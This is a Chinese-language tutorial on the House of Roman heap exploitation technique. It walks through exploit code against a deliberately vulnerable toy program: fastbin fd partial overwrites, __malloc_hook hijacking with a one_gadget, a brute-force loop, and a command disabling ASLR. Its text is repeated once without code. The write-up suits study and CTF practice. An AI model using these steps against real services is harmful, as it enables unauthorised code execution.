House of Roman 实战
字数 1645 2025-08-20 18:17:07

House of Roman 利用技术详解

一、概述

House of Roman 是一种不需要泄露 libc 地址的利用技术,通过堆内存布局和堆相关漏洞(如 UAF、off-by-one 等)实现 getshell。该技术的核心思想是利用局部写减少 ASLR 随机化程度,通过爆破绕过地址随机化保护。

二、示例程序分析

保护机制

  • Arch: amd64-64-little
  • RELRO: Partial RELRO
  • Stack: No canary found
  • NX: NX enabled
  • PIE: PIE enabled

程序功能

  1. Malloc: 用户输入 size,然后 malloc(size),大小不限
  2. Write: 往指定 heap_ptr 写入 size+1 字节数据(存在一字节溢出)
  3. Free: 调用 free 释放 heap_ptr,但没有清零指针(存在 double free 和 UAF)

三、利用思路

核心思想

利用局部写减少 ASLR 随机化程度,通过爆破可能的部分地址。由于 ASLR 低 12 位随机化程度较小,这为爆破提供了可能。

利用步骤

  1. 分配 3 个 chunk (A, B, C),大小分别为 0x20, 0xd0, 0x70
  2. 在 B + 0x78 处设置 p64(0x61) 伪造 size
  3. 释放 B 进入 unsorted bin(此时 B+0x10 和 B+0x18 中有 main_arena 地址)
  4. 再次分配 0xd0,会分配到 B(main_arena 地址依然存在)
  5. 分配 3 个 0x70 的 chunk (D, E, F)
  6. 在 A 触发单字节溢出,修改 B->size = 0x71
  7. 释放 C 和 D,进入 fastbin(D->fd = C)
  8. 利用 UAF 修改 D->fd 的低字节,使 D->fd=B
  9. 此时 B->size = 0x71,B + 0x78 为 p64(0x61),成功伪造 0x70 大小的 fastbin
  10. B->fd 为 main_arena 地址,通过修改低 2 字节指向 malloc_hook - 0x23
  11. 分配 3 次 0x70 的 chunk,拿到包含 malloc_hook 的 chunk
  12. 利用 unsorted bin 修改 malloc_hook 内容为 main_arena 地址
  13. 利用部分写修改 malloc_hook 为 one_gadget
  14. 多次释放一个指针触发 double free 异常,触发 malloc_printerr 实现 getshell

四、详细利用过程

1. 初始堆布局

create(0x18,0)  # 0x20
create(0xc8,1)  # 0xd0
create(0x65,2)  # 0x70

2. 伪造 size

fake = "A"*0x68
fake += p64(0x61)  # fake size
edit(1,fake)

3. 释放并重新分配

free(1)
create(0xc8,1)

4. 分配 fastbin 并修改 size

create(0x65,3)  # b
create(0x65,15)
create(0x65,18)

over = "A"*0x18  # off by one
over += "\x71"   # set chunk 1's size --> 0x71
edit(0,over)

5. 创建 fastbin 并修改 fd

free(2)
free(3)
heap_po = "\x20"
edit(3,heap_po)  # 把 chunk 1 链入 fastbin

此时 fastbin 状态:

fastbins
0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88)

6. 修改指向 malloc_hook

malloc_hook_nearly = "\xed\x1a"
edit(1,malloc_hook_nearly)  # 部分写修改 fastbin->fd

7. 分配获取 malloc_hook

create(0x65,0)
create(0x65,0)
create(0x65,0)  # 拿到了 malloc_hook

8. 修复 fastbin

free(15)
edit(15,p64(0x00))  # 修改 fd=0 修复 fastbin

9. unsorted bin 攻击

create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
free(1)
po = "B"*8
po += "\x00\x1b"
edit(1,po)
create(0xc8,1)  # unsorted bin 使 malloc_hook 有 libc 地址

10. 修改 malloc_hook 为 one_gadget

over = "R"*0x13  # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over)  # malloc_hook to one_gadget

11. 触发 getshell

free(18)
free(18)  # 触发 double free 异常

五、调试技巧

  1. 关闭 ASLR 方便调试:
echo 0 > /proc/sys/kernel/randomize_va_space
  1. 爆破脚本(由于 ASLR 需要多次尝试):
#!/bin/bash
for i in `seq 1 5000`; do
    python final.py;
done

六、关键点总结

  1. 部分地址写:利用 ASLR 低 12 位随机化程度较小的特点
  2. 堆布局:精心设计 chunk 大小和释放顺序
  3. 伪造 fastbin:通过 off-by-one 修改 size 并伪造 fd
  4. unsorted bin 攻击:用于向 malloc_hook 写入 libc 地址
  5. one_gadget 写入:通过部分写修改 malloc_hook
  6. 触发机制:通过 double free 触发 malloc_printerr

七、参考资源

  1. House of Roman 原始说明
  2. House of Roman GitHub 仓库
House of Roman 利用技术详解 一、概述 House of Roman 是一种不需要泄露 libc 地址的利用技术,通过堆内存布局和堆相关漏洞(如 UAF、off-by-one 等)实现 getshell。该技术的核心思想是利用局部写减少 ASLR 随机化程度,通过爆破绕过地址随机化保护。 二、示例程序分析 保护机制 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled 程序功能 Malloc : 用户输入 size,然后 malloc(size),大小不限 Write : 往指定 heap_ ptr 写入 size+1 字节数据(存在一字节溢出) Free : 调用 free 释放 heap_ ptr,但没有清零指针(存在 double free 和 UAF) 三、利用思路 核心思想 利用局部写减少 ASLR 随机化程度,通过爆破可能的部分地址。由于 ASLR 低 12 位随机化程度较小,这为爆破提供了可能。 利用步骤 分配 3 个 chunk (A, B, C),大小分别为 0x20, 0xd0, 0x70 在 B + 0x78 处设置 p64(0x61) 伪造 size 释放 B 进入 unsorted bin(此时 B+0x10 和 B+0x18 中有 main_ arena 地址) 再次分配 0xd0,会分配到 B(main_ arena 地址依然存在) 分配 3 个 0x70 的 chunk (D, E, F) 在 A 触发单字节溢出,修改 B->size = 0x71 释放 C 和 D,进入 fastbin(D->fd = C) 利用 UAF 修改 D->fd 的低字节,使 D->fd=B 此时 B->size = 0x71,B + 0x78 为 p64(0x61),成功伪造 0x70 大小的 fastbin B->fd 为 main_ arena 地址,通过修改低 2 字节指向 malloc_ hook - 0x23 分配 3 次 0x70 的 chunk,拿到包含 malloc_ hook 的 chunk 利用 unsorted bin 修改 malloc_ hook 内容为 main_ arena 地址 利用部分写修改 malloc_ hook 为 one_ gadget 多次释放一个指针触发 double free 异常,触发 malloc_ printerr 实现 getshell 四、详细利用过程 1. 初始堆布局 2. 伪造 size 3. 释放并重新分配 4. 分配 fastbin 并修改 size 5. 创建 fastbin 并修改 fd 此时 fastbin 状态: 6. 修改指向 malloc_ hook 7. 分配获取 malloc_ hook 8. 修复 fastbin 9. unsorted bin 攻击 10. 修改 malloc_ hook 为 one_ gadget 11. 触发 getshell 五、调试技巧 关闭 ASLR 方便调试: 爆破脚本(由于 ASLR 需要多次尝试): 六、关键点总结 部分地址写 :利用 ASLR 低 12 位随机化程度较小的特点 堆布局 :精心设计 chunk 大小和释放顺序 伪造 fastbin :通过 off-by-one 修改 size 并伪造 fd unsorted bin 攻击 :用于向 malloc_ hook 写入 libc 地址 one_ gadget 写入 :通过部分写修改 malloc_ hook 触发机制 :通过 double free 触发 malloc_ printerr 七、参考资源 House of Roman 原始说明 House of Roman GitHub 仓库